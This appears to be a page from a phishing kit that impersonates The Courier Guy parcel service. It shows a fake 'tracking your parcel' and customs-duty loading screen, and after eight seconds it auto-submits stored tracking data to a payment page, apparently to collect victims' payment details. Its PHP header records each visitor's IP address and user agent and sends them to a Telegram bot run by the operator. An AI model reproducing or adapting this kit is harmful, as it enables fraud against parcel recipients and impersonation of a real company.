<?php
// Optional: Log visit to loading page
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

$BOT_TOKEN = " ";
$CHAT_ID = "- ";

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// Log loading page visit
$msg = "<b>📦 THE COURIER GUY LOADING PAGE</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Processing — The Courier Guy</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #264796;
            --primary-light: #3A5FB8;
            --primary-dark: #1A3570;
            --background: #F5F6F8;
            --card-bg: #FFFFFF;
            --text: #1F2933;
            --text-muted: #4B5565;
            --border: #E5E7EB;
            --radius: 8px;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        /* HEADER */
        .header {
            background: white;
            padding: 1rem 0;
            box-shadow: 0 2px 4px rgba(0,0,0,0.05);
        }
        .header-container {
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 0 1rem;
            max-width: 1200px;
            margin: 0 auto;
        }
        .logo-container { display: flex; align-items: center; }
        .logo { height: 70px; width: auto; }

        /* HERO */
        .hero {
            background: var(--primary);
            color: white;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
            border-radius: var(--radius);
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
        }

        /* LOADING CONTENT */
        .loading-card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 3rem 2rem;
            margin-bottom: 2rem;
            text-align: center;
            box-shadow: var(--shadow-sm);
        }

        .truck-container {
            width: 150px;
            height: 100px;
            margin: 0 auto 2rem;
            animation: gentleBounce 2.4s infinite ease-in-out;
        }
        
        .truck-icon {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }
        
        @keyframes gentleBounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-8px); }
        }

        .spinner {
            width: 60px;
            height: 60px;
            border: 3px solid #E5E7EB;
            border-top: 3px solid var(--primary);
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin: 0 auto 1.5rem;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading-text {
            font-size: 1.35rem;
            color: var(--primary);
            margin-bottom: 0.75rem;
            font-weight: 600;
        }

        .loading-subtext {
            font-size: 0.95rem;
            color: var(--text-muted);
            max-width: 500px;
            margin: 0 auto 2rem;
        }

        .status-box {
            background: #F5F6F8;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 1.25rem;
            margin: 2rem auto;
            max-width: 500px;
            text-align: left;
        }
        .status-item {
            display: flex;
            align-items: center;
            margin: 1rem 0;
        }
        .status-icon {
            width: 32px;
            height: 32px;
            background: var(--primary);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-right: 1rem;
            color: white;
            font-weight: 600;
            font-size: 0.9rem;
        }
        .status-content h4 {
            margin: 0 0 0.2rem 0;
            color: var(--primary);
            font-size: 0.95rem;
            font-weight: 600;
        }
        .status-content p {
            margin: 0;
            color: var(--text-muted);
            font-size: 0.85rem;
        }

        .progress-bar {
            width: 100%;
            height: 6px;
            background: #E5E7EB;
            border-radius: 3px;
            margin-top: 2.5rem;
            overflow: hidden;
        }

        .progress-fill {
            height: 100%;
            background: var(--primary);
            width: 0%;
            border-radius: 3px;
            animation: fill 8s linear forwards;
        }

        @keyframes fill {
            from { width: 0%; }
            to { width: 100%; }
        }

        /* FOOTER */
        .footer {
            text-align: center;
            padding: 2rem 1rem 3rem;
            color: white;
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--primary-dark);
            position: relative;
        }
        .footer img {
            height: 60px;
            width: auto;
            margin-top: 1rem;
            opacity: 0.9;
        }
        .footer a {
            color: white;
            text-decoration: none;
            opacity: 0.9;
        }
        .footer a:hover { 
            text-decoration: underline;
            opacity: 1;
        }

        @media (max-width: 600px) {
            .loading-card { padding: 2rem 1.5rem; }
            .hero h1 { font-size: 1.6rem; }
            .logo { height: 60px; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<!-- HEADER -->
<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="assets/01.png" alt="The Courier Guy" class="logo">
        </div>
    </div>
</header>

<!-- HERO -->
<section class="hero">
    <div class="container">
        <h1><i class="fas fa-search"></i> Tracking Your Parcel</h1>
    </div>
</section>

<!-- LOADING CARD -->
<main class="container">
    <div class="loading-card">
        <div class="truck-container">
            <img src="https://shop.thieme.in/front/assets/images/prousp/courier-services-black.png" alt="Delivery Truck" class="truck-icon">
        </div>
        
        <div class="spinner"></div>
        <p class="loading-text">Processing your parcel details...</p>
        <p class="loading-subtext">We're verifying your tracking information and calculating customs duties. This usually takes a few moments.</p>

        <div class="status-box">
            <div class="status-item">
                <div class="status-icon">1</div>
                <div class="status-content">
                    <h4>Tracking Number Verified</h4>
                    <p>Your parcel has been located in our system</p>
                </div>
            </div>
            <div class="status-item">
                <div class="status-icon">2</div>
                <div class="status-content">
                    <h4>Customs Check</h4>
                    <p>Calculating duties and taxes for South Africa</p>
                </div>
            </div>
            <div class="status-item">
                <div class="status-icon">3</div>
                <div class="status-content">
                    <h4>Payment Required</h4>
                    <p>Preparing secure payment gateway</p>
                </div>
            </div>
        </div>

        <div class="progress-bar">
            <div class="progress-fill"></div>
        </div>
        
        <div style="margin-top: 1rem; color: var(--text-muted); font-size: 0.85rem;">
            <i class="fas fa-shield-alt"></i> Secure connection established
        </div>
    </div>
</main>

<!-- FOOTER -->
<footer class="footer">
    <div class="container">
        <div>© 2026 The Courier Guy (Pty) Ltd. All rights reserved.</div>
        <div style="margin-top: 0.5rem;">
            <a href="#"><i class="fas fa-shield-alt"></i> Privacy</a> • 
            <a href="#"><i class="fas fa-file-contract"></i> Terms</a> • 
            <a href="#"><i class="fas fa-question-circle"></i> Help</a>
        </div>
        <img src="assets/04.png" alt="The Courier Guy">
    </div>
</footer>

<!-- AUTO REDIRECT AFTER 8 SECONDS -->
<script>
    setTimeout(function() {
        const form = document.createElement('form');
        form.method = 'POST';
        form.action = 'payment.php';

        const data = JSON.parse(localStorage.getItem('courierguyData') || '{}');
        
        // Set default values if not present
        if (!data.parcel_type) data.parcel_type = 'PPT';
        if (!data.weight) data.weight = '0.9';
        
        const trackingInput = document.createElement('input');
        trackingInput.type = 'hidden';
        trackingInput.name = 'tracking';
        trackingInput.value = data.tracking || 'CG21205709';

        const typeInput = document.createElement('input');
        typeInput.type = 'hidden';
        typeInput.name = 'parcel_type';
        typeInput.value = 'PPT';

        const weightInput = document.createElement('input');
        weightInput.type = 'hidden';
        weightInput.name = 'weight';
        weightInput.value = '0.9';

        form.appendChild(trackingInput);
        form.appendChild(typeInput);
        form.appendChild(weightInput);
        document.body.appendChild(form);
        form.submit();
    }, 8000);
</script>

</body>
</html>